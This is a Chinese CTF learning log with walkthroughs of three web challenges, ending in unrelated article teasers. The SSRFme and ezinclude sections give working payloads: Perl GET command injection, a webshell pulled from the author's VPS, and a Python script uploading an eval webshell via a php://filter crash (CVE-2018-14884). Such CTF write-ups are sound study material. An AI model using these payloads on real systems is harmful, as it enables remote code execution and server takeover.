1月13日学习

[HITCON 2017]SSRFme

直接给了源代码,题目名称还是ssrf,那么该题大概率就是SSRF的漏洞,进行代码审计。

<?php// 检查是否存在 HTTP_X_FORWARDED_FOR 头,如果存在,则将其拆分为数组,并将第一个 IP 地址赋值给 REMOTE_ADDR。if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}// 输出用户的远程地址(IP 地址)。echo $_SERVER["REMOTE_ADDR"];// 创建一个以用户 IP 地址(结合字符串 "orange")生成的 MD5 哈希值命名的沙盒目录。$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox); // 创建沙盒目录,如果目录已存在,错误将被抑制。@chdir($sandbox); // 切换到沙盒目录中。// 使用 shell 命令 GET 获取由 URL 参数指定的资源。$data = shell_exec("GET " . escapeshellarg($_GET["url"]));// 解析文件路径信息,获取文件名和目录名等信息。$info = pathinfo($_GET["filename"]);// 去掉目录名中的点号,防止目录穿越漏洞。$dir  = str_replace(".", "", basename($info["dirname"]));@mkdir($dir); // 创建目录,如果目录已存在,错误将被抑制。@chdir($dir); // 切换到新创建的目录中。// 将获取到的数据写入指定的文件中。@file_put_contents(basename($info["basename"]), $data);// 高亮显示当前脚本文件的代码。highlight_file(__FILE__);

如果存在 HTTP_X_FORWARDED_FOR 头,则使用其第一个值,否则使用 REMOTE_ADDR。接着利用用户 IP 生成的 MD5 值来创建目录,确保每个用户的操作在不同的目录中进行。执行GET拼接shell命令,内容可控。将可控内容写入到可控文件中。

实现发送GET请求给当前GET参数’url‘,并将其结果保存在/sandbox/md5/filename中,其中filename为传入的Get参数。

构造?url=./../../&filename=123

然后访问,目录是 sandbox/(orange+ip)的MD5值/123

可以看到目录,但是不能够直接访问,尝试再多写一个../

 ?url=./../../../&filename=123

再加,最后为?url=./../../../../../&filename=123

已经可以看到根目录下的flag了。还可以看到readflag文件。那么思路就是利用readflag文件读取flag。

 尝试redaflag

?url=/readflag&filename=123

但是访问后是下载了一个二进制文件

并没有执行,那么就尝试将根目录下flag文件的内容写入到我们创建的文件中

利用到bash -c 

  • bash: 这是指 Bash Shell,一种常用的命令行解释器。
  • -c: 选项 -c 表示 Bash 将执行接下来的字符串作为命令。

/?url=file:bash -c /readflag|&filename=bash -c /readflag

file: 协议:通常用于访问文件系统中的文件。

再次传参/?url=file:bash -c /readflag&filename=123

然后访问

但是回显是空的。

 但是还可以使用另一种解法。

在vps上绑定一句话木马进行监听,然后通过GET命令去请求,用$_GET[“filename”]传入的值作为文件名保存。

python3 -m http.server

用python启用一个http服务。

 构造pyalod进行请求

?url=172.17.xx.xx:8000/shell.php&filename=shell.php

然后再去访问,这样就把我们的马子给写进去了。

蚁剑直接连接

但是flag不可以直接打开,需要执行readflag

总结,该题可以使用两种解法,一个是利用原来的readflag文件读取flag,并将读取的结果输入到我们创建的文件中;

第二种就是利用vps,直接把vps的木马挂到我们创建的文件中就可以getshell。

该题的考点是ssrf,GET命令的一个漏洞,GET命令是用perl来执行,而prel的open可以执行命令。

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理。

这里GET一个根目录,功能类似于ls把它给列出来。

[b01lers2020]Welcome to Earth

一个页面,但是是名为/die/

查看源代码

什么都没有,把/die/删掉看一看

 

可以看到源代码,访问 /chase/

接着访问/leftt/ 

接着访问/shoot/

接着访问/door/

接着访问/static/js/door.js

接着访问/open/

接着访问/static/js/open_sesame.js

最后访问/static/js/fight.js

得到源代码

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {for (var i = 0; i < key.length; i++) {let n = key.charCodeAt(i) % flag.length;let temp = flag[i];flag[i] = flag[n];flag[n] = temp;}return flag;
}function check_action() {var action = document.getElementById("action").value;var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];// TODO: unscramble function
}

 flag被打乱了,还原flag。

# 从 itertools 库导入 permutations 函数,该函数可以生成给定可迭代对象的所有排列
from itertools import permutations# 定义一个包含若干字符串元素的列表 flag
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]# 使用 permutations 函数生成 flag 列表中所有元素的排列
item = permutations(flag)# 遍历所有排列的结果
for i in item:# 将当前排列 (元组) 转换为字符串k = ''.join(list(i))# 检查字符串是否以 "pctf{hey_boys" 开头,并且以 "}" 结尾if k.startswith('pctf{hey_boys') and k[-1] == '}':# 如果条件满足,则打印这个符合条件的字符串print(k)

尝试后得到pctf{hey_boys_im_baaaaaaaaaack!}

该题只有排列组合的问题,就算一个一个排列着试都可以得到正确结果。

[NPUCTF2020]ezinclude

显示username和password是错误的。尝试查看源代码。

有了提示,<!--md5($secret.$name)===$pass -->

在进过尝试后发现name和pass是通过get进行传参的。

 可以看到回显有个hash值,猜测可能是md5后的值,传参

/?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

访问flflflflag.php

 

可以看到include($_GET["file"])

构造?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

查看源代码

<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
w%ude($_GET["~)^"])

 再扫一下目录,看看还有没有其他可以用的代码。

扫了半天什么都没有扫到,但是看了wp后,存在一个dir.php文件

?file=php://filter/read=convert.base64-encode/resource=dir.php

<?php
var_dump(scandir('/tmp'));
?>

dir.php能打印临时文件夹里的内容.

那么我们就可以把码写到临时文件中。

利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

strip_tags 过滤器的使用。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

构造payloud

/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

import requests  # 导入requests库,用于处理HTTP请求
from io import BytesIO  # 导入BytesIO,用于在内存中操作字节数据# 定义需要执行的PHP代码
payload = "<?php eval($_POST[cmd]);?>"  # 这是一个PHP代码片段,可以通过POST数据执行传入的命令# 准备要发送的数据,模拟一个文件上传
data = {'file': BytesIO(payload.encode())}  # 将payload字符串转换为字节并包装在BytesIO对象中,模拟文件上传# 定义目标服务器的URL
url = "http://ec4fa282-4f36-4ae3-9a08-56112f3a5155.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
# 这个URL使用了PHP过滤器来访问目标服务器上的'/etc/passwd'文件内容# 发送POST请求,带上准备好的数据和文件上传
r = requests.post(url=url, files=data, allow_redirects=False)
# 发送POST请求,包含'files'数据,'allow_redirects=False'防止自动重定向

运行脚本后访问/dir.php

得到tmp目录下刚刚我们上传的文件路径:/tmp/phpqUFJz7

利用文件包含

flag在里面。

总结:php://filter的 strip_tags 过滤器在php7导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/67123.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux RT-Preempt spin lock实现

一、spin_lock概述 Spinlock是linux内核中常用的一种互斥锁机制&#xff0c;和mutex不同&#xff0c;当无法持锁进入临界区的时候&#xff0c;当前执行线索不会阻塞&#xff0c;而是不断的自旋等待该锁释放。正因为如此&#xff0c;自旋锁也是可以用在中断上下文的。也正是因为…

设计模式-工厂模式/抽象工厂模式

工厂模式 定义 定义一个创建对象的接口&#xff0c;让子类决定实列化哪一个类&#xff0c;工厂模式使一个类的实例化延迟到其子类&#xff1b; 工厂方法模式是简单工厂模式的延伸。在工厂方法模式中&#xff0c;核心工厂类不在负责产品的创建&#xff0c;而是将具体的创建工作…

C++ 文字识别OCR

一.引言 文字识别&#xff0c;也称为光学字符识别&#xff08;Optical Character Recognition, OCR&#xff09;&#xff0c;是一种将不同形式的文档&#xff08;如扫描的纸质文档、PDF文件或数字相机拍摄的图片&#xff09;中的文字转换成可编辑和可搜索的数据的技术。随着技…

计算机网络 (39)TCP的运输连接管理

前言 TCP&#xff08;传输控制协议&#xff09;是一种面向连接的、可靠的传输协议&#xff0c;它在计算机网络中扮演着至关重要的角色。TCP的运输连接管理涉及连接建立、数据传送和连接释放三个阶段。 一、TCP的连接建立 TCP的连接建立采用三次握手机制&#xff0c;其过程如下&…

机器学习(1):线性回归概念

1 线性回归基础 1.1 什么是线性 例如&#xff1a;汽车每小时60KM&#xff0c;3小时可以行使多长距离&#xff1f;已知汽车的速度&#xff0c;则汽车的行使距离只与时间唯一相关。在二元的直角坐标系中&#xff0c;描出这一关系的图是一条直线&#xff0c;所以称为线性关系。 线…

1,Linux环境变量基本定义(基于Ubuntu示例进行讲解)

linux环境变量的概念 Linux环境变量&#xff08;准确说应该是shell变量&#xff09;&#xff0c;是直接存储在操作系统中的一组键值对&#xff08;dict类型&#xff09;&#xff0c;用于配置系统和应用程序的操作行为。 【有经验的描述】&#xff1a;它们的工作原理很简单&am…

STM32入门教程-示例程序(按键控制LED光敏传感器控制蜂鸣器)

1. LED Blink&#xff08;闪烁&#xff09; 代码主体包含&#xff1a;LED.c key.c main.c delay.c&#xff08;延时防按键抖动&#xff09; 程序代码如下&#xff08;涉及RCC与GPIO两个外设&#xff09;&#xff1a; 1.使用RCC使能GPIO时钟 RCC_APB2PeriphClockC…

java springboot3.x jwt+spring security6.x实现用户登录认证

springboot3.x jwtspring security6.x实现用户登录认证 什么是JWT JWT&#xff08;JSON Web Token&#xff09;是一种开放标准&#xff08;RFC 7519&#xff09;&#xff0c;它用于在网络应用环境中传递声明。通常&#xff0c;JWT用于身份验证和信息交换。JWT的一个典型用法是…

基于Socket和ServerSocket自定义协议的实现多端通信、消息发送、群聊发送

通信基础 Socket Socket套接字是实现网络通信的重要接口&#xff0c;Socket绑定的应用进程&#xff0c;目标Ip的端口号&#xff0c;以及数据传输对应的输入输出缓冲区。一个数据包到达一台计算机物理设备后&#xff0c;经过网络协议栈的解析&#xff0c;然后由操作系统调度到对…

【Uniapp-Vue3】Prop校验与prop默认值用法及循环遍历数组对象

一、prop校验 如果我们在想要限制prop的类型&#xff0c;就可以在接收prop的时候对接收类型进行限制&#xff1a; defineProps({ 属性名:{ type:类型 } }) 需要注意类型的首字母大写 但是设置了传入参数类型限制并不能严格限制&#xff0c;只会在后台进行提示&#xff1a; 二、…

Java Stream流操作List全攻略:Filter、Sort、GroupBy、Average、Sum实践

在Java 8及更高版本中&#xff0c;Stream API为集合处理带来了革命性的改变。本文将深入解析如何运用Stream对List进行高效的操作&#xff0c;包括筛选&#xff08;Filter&#xff09;、排序&#xff08;Sort&#xff09;、分组&#xff08;GroupBy&#xff09;、求平均值&…

ExplaineR:集成K-means聚类算法的SHAP可解释性分析 | 可视化混淆矩阵、决策曲线、模型评估与各类SHAP图

集成K-means聚类算法的SHAP可解释性分析 加载数据集并训练机器学习模型 SHAP 分析以提取特征对预测的影响 通过混淆矩阵可视化模型性能 决策曲线分析 模型评估&#xff08;多指标和ROC曲线的目视检查&#xff09; 带注释阈值的 ROC 曲线 加载 SHAP 结果以进行下游分析 与…

【Python通过UDP协议传输视频数据】(界面识别)

提示&#xff1a;界面识别项目 前言 随着网络通信技术的发展&#xff0c;视频数据的实时传输在各种场景中得到了广泛应用。UDP&#xff08;User Datagram Protocol&#xff09;作为一种无连接的协议&#xff0c;凭借其低延迟、高效率的特性&#xff0c;在实时性要求较高的视频…

浅谈云计算03 | 云计算的技术支撑(云使能技术)

云计算的技术支撑 一、定义与内涵1.1 定义与内涵 二、云计算使能技术架构2.1 宽带网络和 Internet 架构2.2 数据中心技术2.3 虚拟化技术2.4 Web 技术2.5 多租户技术2.6 服务技术 一、定义与内涵 1.1 定义与内涵 云计算技术包含一些基础的关键技术&#xff0c;这里称为使能技术…

QGraphicsView QGraphicsScene QGraphicsItem

QGraphicsView && QGraphicsScene &#xff1a; QGraphicsView 是 Qt 中用于显示和交互处理 2D 图形的控件&#xff0c;QGraphicsView 用于显示 QGraphicsScene 中的内容。 .h #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow> #include &…

【大数据】机器学习-----线性模型

一、线性模型基本形式 线性模型旨在通过线性组合输入特征来预测输出。其一般形式为&#xff1a; 其中&#xff1a; x ( x 1 , x 2 , ⋯ , x d ) \mathbf{x}(x_1,x_2,\cdots,x_d) x(x1​,x2​,⋯,xd​) 是输入特征向量&#xff0c;包含 d d d 个特征。 w ( w 1 , w 2 , ⋯ ,…

基于千帆(ERNIE-Functions-8K)Function Calling的简单使用

1.Function Calling是什么&#xff1f; 1.1 概念 Function calling是一种将LLM(大语言模型Large language model)连接外部工具的能力&#xff0c;LLM经过微调后&#xff0c;可以检测出何时需要调用函数以及需要调用函数的方法名及参数&#xff0c;并返回给调用方以便调用外部…

Deep Attentional Guided Image Filtering

This work achieved the first place in the real depth map SR challenge held in ACM ICMR 2021. 目的&#xff1a;从一个target image(如低分辨的深度图)和guidance image(如高分辨的RGB图)&#xff0c;得到输出(如高分辨的深度图)。 主要思想是考虑了target和guidance之间的…

SpringBoot+Lombok项目实体属性名xXxx格式,前端接收不到

问题解析 今天发现后端传给前端的实体类中&#xff0c;有属性为xXxxx格式的&#xff0c;前端也使用相同名称接收&#xff0c;结果却不显示值&#xff01;研究了一会发现接口请求回来后&#xff0c;原xXxxx的属性名&#xff0c;会被转为全小写。具体原因为&#xff1a;使用Lombo…

高级运维:shell练习2

1、需求&#xff1a;判断192.168.1.0/24网络中&#xff0c;当前在线的ip有哪些&#xff0c;并编写脚本打印出来。 vim check.sh #!/bin/bash# 定义网络前缀 network_prefix"192.168.1"# 循环遍历1-254的IP for i in {1..254}; do# 构造完整的IP地址ip"$network_…